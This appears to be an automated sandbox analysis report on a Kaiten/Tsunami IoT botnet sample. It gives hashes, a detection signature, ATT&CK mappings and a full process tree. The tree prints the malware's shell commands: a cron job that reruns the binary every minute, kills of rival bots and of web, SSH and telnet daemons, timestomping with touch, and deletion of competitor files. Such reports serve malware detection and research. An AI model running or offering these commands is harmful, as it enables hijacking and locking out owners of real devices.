kaiten | c261f8d5089f4040eba3dc4c35afd1d42281d18710f118ae406b7eb4110ea0f7

General

Target

e1a799b85b84be2db2aac47157b54bc1
Size

42KB
MD5

e1a799b85b84be2db2aac47157b54bc1
SHA1

e5a305ff039a3791bac898c837bcaca1104a981e
SHA256

c261f8d5089f4040eba3dc4c35afd1d42281d18710f118ae406b7eb4110ea0f7
SHA512

aa2739fc8bd3d72445036030a3837a2bb5731914114e958dae2dec3e37928cb5d6a2d604ef49d2202a5f8a812852b19a28ff6aeba1d9836a8c166f627f0f553f
SSDEEP

768:QAaf+RtxGTvWPCtsjLbwn11q1H3pY+s5OwBkZ+7rhCJQOeB8JK3UEg6:ofctsTvC6m/w11q13pYdUtE/Zg6

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/636-1-0x00008000-0x0002c378-memory.dmp	family_kaiten2

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
persistence

Scheduled Task/Job
T1053

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.SS0P6i crontab
Enumerates running processes
Discovers information about currently running processes on the system

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.SS0P6i	crontab

Enumerates kernel/hardware configuration 1 TTPs 45 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

Processes:

systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctl

description	ioc	process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

Processes:

killallkillallkillallkillallsedkillallkillallkillallkillallsystemctlkillallkillallkillallkillallkillallkillallkillallsystemctlkillalle1a799b85b84be2db2aac47157b54bc1

description	ioc	process
File opened for reading	/proc/695/stat	killall
File opened for reading	/proc/265/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/141/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/41/stat	killall
File opened for reading	/proc/690/stat	killall
File opened for reading	/proc/698/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/141/cmdline	killall
File opened for reading	/proc/96/stat	killall
File opened for reading	/proc/636/cmdline	killall
File opened for reading	/proc/147/stat	killall
File opened for reading	/proc/43/stat	killall
File opened for reading	/proc/629/stat	killall
File opened for reading	/proc/141/cmdline	killall
File opened for reading	/proc/284/stat	killall
File opened for reading	/proc/590/stat	killall
File opened for reading	/proc/107/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/284/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/96/stat	killall
File opened for reading	/proc/584/stat	killall
File opened for reading	/proc/570/stat	killall
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/164/stat	killall
File opened for reading	/proc/630/cmdline	killall
File opened for reading	/proc/635/stat	killall
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/96/stat	killall
File opened for reading	/proc/635/stat	killall
File opened for reading	/proc/635/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/135/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/629/cmdline	killall
File opened for reading	/proc/629/cmdline	killall
File opened for reading	/proc/213/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/634/stat	killall
File opened for reading	/proc/840/stat	killall
File opened for reading	/proc/version	e1a799b85b84be2db2aac47157b54bc1
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/695/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/213/stat	killall
File opened for reading	/proc/584/stat	killall
File opened for reading	/proc/687/stat	killall
File opened for reading	/proc/636/stat	killall
File opened for reading	/proc/703/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/630/stat	killall

/tmp/e1a799b85b84be2db2aac47157b54bc1
/tmp/e1a799b85b84be2db2aac47157b54bc1
1⤵
- Reads runtime system information
PID:636

/bin/sh
sh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"
2⤵
PID:637

/bin/sh
sh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"
2⤵
PID:639

/bin/sh
sh -c "rm -rf /var/run/tty0 > /dev/null 2>&1 &"
2⤵
PID:642

/bin/sh
sh -c "rm -rf /var/run/tty1 > /dev/null 2>&1 &"
2⤵
PID:645

/bin/sh
sh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"
2⤵
PID:650

/bin/sh
sh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"
2⤵
PID:652

/bin/sh
sh -c "rm -rf /var/run/tty4 > /dev/null 2>&1 &"
2⤵
PID:655

/bin/sh
sh -c "rm -rf /var/run/tty5 > /dev/null 2>&1 &"
2⤵
PID:658

/bin/sh
sh -c "rm -rf /tmp/tty0 > /dev/null 2>&1 &"
2⤵
PID:661

/bin/sh
sh -c "rm -rf /tmp/tty1 > /dev/null 2>&1 &"
2⤵
PID:664

/bin/sh
sh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"
2⤵
PID:667

/bin/sh
sh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"
2⤵
PID:670

/bin/sh
sh -c "rm -rf /tmp/tty4 > /dev/null 2>&1 &"
2⤵
PID:672

/bin/sh
sh -c "rm -rf /tmp/tty5 > /dev/null 2>&1 &"
2⤵
PID:675

/bin/sh
sh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"
2⤵
PID:679

/bin/sh
sh -c "killall -9 arm > /dev/null 2>&1 &"
2⤵
PID:683

/bin/sh
sh -c "killall -9 mips > /dev/null 2>&1 &"
2⤵
PID:685

/bin/sh
sh -c "killall -9 mipsel > /dev/null 2>&1 &"
2⤵
PID:688

/bin/sh
sh -c "killall -9 powerpc > /dev/null 2>&1 &"
2⤵
PID:691

/bin/sh
sh -c "killall -9 ppc > /dev/null 2>&1 &"
2⤵
PID:694

/bin/sh
sh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"
2⤵
PID:698

/bin/sh
sh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"
2⤵
PID:700

/bin/sh
sh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"
2⤵
PID:702

/bin/sh
sh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"
2⤵
PID:704

/bin/sh
sh -c "kill -9 `cat /tmp/.xs/*.pid` > /dev/null 2>&1 &"
2⤵
PID:707

/bin/sh
sh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"
2⤵
PID:709

/bin/sh
sh -c "touch -acmr /bin/ls /tmp/e1a799b85b84be2db2aac47157b54bc1"
2⤵
PID:713

/usr/bin/touch
touch -acmr /bin/ls /tmp/e1a799b85b84be2db2aac47157b54bc1
3⤵
PID:714

/bin/sh
sh -c "(crontab -l | grep -v \"/tmp/e1a799b85b84be2db2aac47157b54bc1\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"
2⤵
PID:715

/bin/sh
sh -c "echo \"* * * * * /tmp/e1a799b85b84be2db2aac47157b54bc1 > /dev/null 2>&1 &\" >> /var/run/.x001804289383"
2⤵
PID:722

/bin/sh
sh -c "crontab /var/run/.x001804289383"
2⤵
PID:724

/usr/bin/crontab
crontab /var/run/.x001804289383
3⤵
- Creates/modifies Cron job
PID:726

/bin/sh
sh -c "rm -rf /var/run/.x001804289383"
2⤵
PID:728

/bin/rm
rm -rf /var/run/.x001804289383
3⤵
PID:729

/bin/sh
sh -c "/bin/uname -n"
2⤵
PID:730

/bin/uname
/bin/uname -n
3⤵
PID:731

/bin/sh
sh -c "/bin/uname -n"
2⤵
PID:732

/bin/uname
/bin/uname -n
3⤵
PID:733

/bin/sh
sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
2⤵
PID:830

/bin/sh
sh -c "service httpd stop > /dev/null 2>&1 &"
2⤵
PID:832

/bin/sh
sh -c "killall -9 mini_httpd > /dev/null 2>&1 &"
2⤵
PID:835

/bin/sh
sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
2⤵
PID:837

/bin/sh
sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
2⤵
PID:839

/bin/sh
sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
2⤵
PID:842

/bin/sh
sh -c "nvram set http_enable=0 > /dev/null 2>&1"
2⤵
PID:845

/bin/sh
sh -c "killall -9 httpd > /dev/null 2>&1 &"
2⤵
PID:847

/bin/sh
sh -c "service telnetd stop > /dev/null 2>&1 &"
2⤵
PID:849

/bin/sh
sh -c "service sshd stop > /dev/null 2>&1 &"
2⤵
PID:851

/bin/sh
sh -c "killall -9 telnetd > /dev/null 2>&1 &"
2⤵
PID:853

/bin/sh
sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
2⤵
PID:856

/bin/sh
sh -c "killall -9 dropbear > /dev/null 2>&1 &"
2⤵
PID:861

/bin/sh
sh -c "killall -9 sshd > /dev/null 2>&1 &"
2⤵
PID:865

/bin/sh
sh -c "killall -9 lighttpd > /dev/null 2>&1 &"
2⤵
PID:868

/bin/rm
rm -rf /var/run/wgsh
1⤵
PID:638

/bin/rm
rm -rf /var/run/bbsh
1⤵
PID:641

/bin/rm
rm -rf /var/run/tty0
1⤵
PID:644

/bin/rm
rm -rf /var/run/tty1
1⤵
PID:649

/bin/rm
rm -rf /var/run/tty2
1⤵
PID:651

/bin/rm
rm -rf /var/run/tty3
1⤵
PID:654

/bin/rm
rm -rf /var/run/tty4
1⤵
PID:657

/bin/rm
rm -rf /var/run/tty5
1⤵
PID:660

/bin/rm
rm -rf /tmp/tty0
1⤵
PID:662

/bin/rm
rm -rf /tmp/tty1
1⤵
PID:666

/bin/rm
rm -rf /tmp/tty2
1⤵
PID:668

/bin/rm
rm -rf /tmp/tty3
1⤵
PID:671

/bin/rm
rm -rf /tmp/tty4
1⤵
PID:674

/bin/rm
rm -rf /tmp/tty5
1⤵
PID:678

/bin/rm
rm -rf /var/run/pty
1⤵
PID:681

/usr/bin/killall
killall -9 arm
1⤵
- Reads runtime system information
PID:684

/usr/bin/killall
killall -9 mips
1⤵
- Reads runtime system information
PID:687

/usr/bin/killall
killall -9 mipsel
1⤵
- Reads runtime system information
PID:690

/usr/bin/killall
killall -9 powerpc
1⤵
- Reads runtime system information
PID:692

/usr/bin/killall
killall -9 ppc
1⤵
- Reads runtime system information
PID:697

/usr/bin/killall
killall -9 daemon.armv4l.mod
1⤵
- Reads runtime system information
PID:699

/usr/bin/killall
killall -9 daemon.i686.mod
1⤵
- Reads runtime system information
PID:701

/usr/bin/killall
killall -9 daemon.mips.mod
1⤵
- Reads runtime system information
PID:703

/usr/bin/killall
killall -9 daemon.mipsel.mod
1⤵
- Reads runtime system information
PID:706

/bin/cat
cat "/tmp/.xs/*.pid"
1⤵
PID:710

/bin/rm
rm -rf "/tmp/.xs/*"
1⤵
PID:712

/usr/bin/crontab
crontab -l
1⤵
PID:717

/bin/grep
grep -v /tmp/e1a799b85b84be2db2aac47157b54bc1
1⤵
PID:718

/bin/grep
grep -v "no cron"
1⤵
PID:719

/bin/grep
grep -v lesshts/run.sh
1⤵
PID:720

/bin/cat
cat /var/run/httpd.pid
1⤵
PID:833

/usr/sbin/service
service httpd stop
1⤵
PID:834

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:840

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:844

/bin/systemctl
systemctl --quiet is-active multi-user.target
2⤵
- Enumerates kernel/hardware configuration
PID:846

/bin/systemctl
systemctl -p Triggers show dbus.socket
2⤵
- Enumerates kernel/hardware configuration
PID:874

/bin/systemctl
systemctl -p Triggers show ssh.socket
2⤵
- Enumerates kernel/hardware configuration
PID:885

/bin/systemctl
systemctl -p Triggers show syslog.socket
2⤵
- Enumerates kernel/hardware configuration
PID:887

/bin/systemctl
systemctl -p Triggers show systemd-fsckd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:890

/bin/systemctl
systemctl -p Triggers show systemd-initctl.socket
2⤵
- Enumerates kernel/hardware configuration
PID:893

/bin/systemctl
systemctl -p Triggers show systemd-journald-audit.socket
2⤵
- Enumerates kernel/hardware configuration
PID:896

/bin/systemctl
systemctl -p Triggers show systemd-journald-dev-log.socket
2⤵
- Enumerates kernel/hardware configuration
PID:897

/bin/systemctl
systemctl -p Triggers show systemd-journald.socket
2⤵
- Enumerates kernel/hardware configuration
PID:901

/bin/systemctl
systemctl -p Triggers show systemd-networkd.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:903

/bin/systemctl
systemctl -p Triggers show systemd-rfkill.socket
2⤵
- Enumerates kernel/hardware configuration
PID:906

/bin/systemctl
systemctl -p Triggers show systemd-udevd-control.socket
2⤵
- Enumerates kernel/hardware configuration
PID:909

/bin/systemctl
systemctl -p Triggers show systemd-udevd-kernel.socket
2⤵
- Enumerates kernel/hardware configuration
PID:911

/usr/bin/killall
killall -9 mini_httpd
1⤵
- Reads runtime system information
PID:836

/usr/bin/killall
killall -9 minihttpd
1⤵
- Reads runtime system information
PID:838

/bin/cat
cat /var/run/thttpd.pid
1⤵
PID:843

/usr/bin/killall
killall -9 httpd
1⤵
PID:848

/usr/sbin/service
service telnetd stop
1⤵
PID:850

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:854

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:860

/bin/systemctl
systemctl --quiet is-active multi-user.target
2⤵
- Enumerates kernel/hardware configuration
PID:866

/bin/systemctl
systemctl -p Triggers show dbus.socket
2⤵
- Enumerates kernel/hardware configuration
PID:884

/bin/systemctl
systemctl -p Triggers show ssh.socket
2⤵
- Enumerates kernel/hardware configuration
PID:889

/bin/systemctl
systemctl -p Triggers show syslog.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:892

/bin/systemctl
systemctl -p Triggers show systemd-fsckd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:895

/bin/systemctl
systemctl -p Triggers show systemd-initctl.socket
2⤵
- Enumerates kernel/hardware configuration
PID:899

/bin/systemctl
systemctl -p Triggers show systemd-journald-audit.socket
2⤵
- Enumerates kernel/hardware configuration
PID:902

/bin/systemctl
systemctl -p Triggers show systemd-journald-dev-log.socket
2⤵
- Enumerates kernel/hardware configuration
PID:905

/bin/systemctl
systemctl -p Triggers show systemd-journald.socket
2⤵
- Enumerates kernel/hardware configuration
PID:908

/bin/systemctl
systemctl -p Triggers show systemd-networkd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:912

/bin/systemctl
systemctl -p Triggers show systemd-rfkill.socket
2⤵
- Enumerates kernel/hardware configuration
PID:914

/bin/systemctl
systemctl -p Triggers show systemd-udevd-control.socket
2⤵
- Enumerates kernel/hardware configuration
PID:916

/bin/systemctl
systemctl -p Triggers show systemd-udevd-kernel.socket
2⤵
- Enumerates kernel/hardware configuration
PID:918

/usr/sbin/service
service sshd stop
1⤵
PID:852

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:859

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:869

/bin/systemctl
systemctl --quiet is-active multi-user.target
2⤵
- Enumerates kernel/hardware configuration
PID:870

/bin/systemctl
systemctl -p Triggers show dbus.socket
2⤵
- Enumerates kernel/hardware configuration
PID:886

/bin/systemctl
systemctl -p Triggers show ssh.socket
2⤵
- Enumerates kernel/hardware configuration
PID:888

/bin/systemctl
systemctl -p Triggers show syslog.socket
2⤵
- Enumerates kernel/hardware configuration
PID:891

/bin/systemctl
systemctl -p Triggers show systemd-fsckd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:894

/bin/systemctl
systemctl -p Triggers show systemd-initctl.socket
2⤵
- Enumerates kernel/hardware configuration
PID:898

/bin/systemctl
systemctl -p Triggers show systemd-journald-audit.socket
2⤵
- Enumerates kernel/hardware configuration
PID:900

/bin/systemctl
systemctl -p Triggers show systemd-journald-dev-log.socket
2⤵
- Enumerates kernel/hardware configuration
PID:904

/bin/systemctl
systemctl -p Triggers show systemd-journald.socket
2⤵
- Enumerates kernel/hardware configuration
PID:907

/bin/systemctl
systemctl -p Triggers show systemd-networkd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:910

/bin/systemctl
systemctl -p Triggers show systemd-rfkill.socket
2⤵
- Enumerates kernel/hardware configuration
PID:913

/bin/systemctl
systemctl -p Triggers show systemd-udevd-control.socket
2⤵
- Enumerates kernel/hardware configuration
PID:915

/bin/systemctl
systemctl -p Triggers show systemd-udevd-kernel.socket
2⤵
- Enumerates kernel/hardware configuration
PID:917

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:855

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:862

/usr/bin/killall
killall -9 utelnetd
1⤵
- Reads runtime system information
PID:857

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
- Reads runtime system information
PID:863

/usr/bin/killall
killall -9 dropbear
1⤵
- Reads runtime system information
PID:864

/usr/bin/killall
killall -9 sshd
1⤵
- Reads runtime system information
PID:867

/usr/bin/killall
killall -9 lighttpd
1⤵
- Reads runtime system information
PID:871

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:876

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:877

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:880

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:879

/usr/local/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:834

/usr/local/bin/systemctl
systemctl stop httpd.service
1⤵
PID:834

/usr/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:834

/usr/bin/systemctl
systemctl stop httpd.service
1⤵
PID:834

/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:834

/bin/systemctl
systemctl stop httpd.service
1⤵
- Enumerates kernel/hardware configuration
PID:834

/usr/local/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:852

/usr/local/bin/systemctl
systemctl stop sshd.service
1⤵
PID:852

/usr/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:852

/usr/bin/systemctl
systemctl stop sshd.service
1⤵
PID:852

/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:852

/bin/systemctl
systemctl stop sshd.service
1⤵
- Enumerates kernel/hardware configuration
PID:852

/usr/local/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:850

/usr/local/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:850

/usr/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:850

/usr/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:850

/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:850

/bin/systemctl
systemctl stop telnetd.service
1⤵
- Enumerates kernel/hardware configuration
PID:850

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

/run/.x001804289383
Filesize
67B

MD5
2d3d2d2c31afb4d2b6c4db108bc2e917

SHA1
a594f4e0f0fdcec04a77bd8a6089d3bfba50263c

SHA256
87eb7c88bc46042fd231cf7c5df6b90dc576375364c721bcba42d9907485d47b

SHA512
716f4900c4b6ed1e279fa5b0c7642d4d06e29c1939c7da60bbc67b747e6a261d159a81217992f697c666fcbe153e2f6f907d9d0c5bcd457e501b4b35976be3c1

Download Submit
/var/spool/cron/crontabs/tmp.SS0P6i
Filesize
264B

MD5
7243562dc4436cd1ba62f0ea5d766aaf

SHA1
37311cebd9aadd8519f806d3ef0c41eedb85cabc

SHA256
728ed61fb386e45c796b6eddec30b3f45dc2d1196d162bf537c2726cf4c7ae66

SHA512
17a5eaacc0ea2a2fef736973ad1e933bbbd1477900699c668c4da04475f977b0d3b8b54c909ca9d2cd3225a3c19425eefc523008a4b33025af627999bb944bc2

Download Submit
memory/636-1-0x00008000-0x0002c378-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads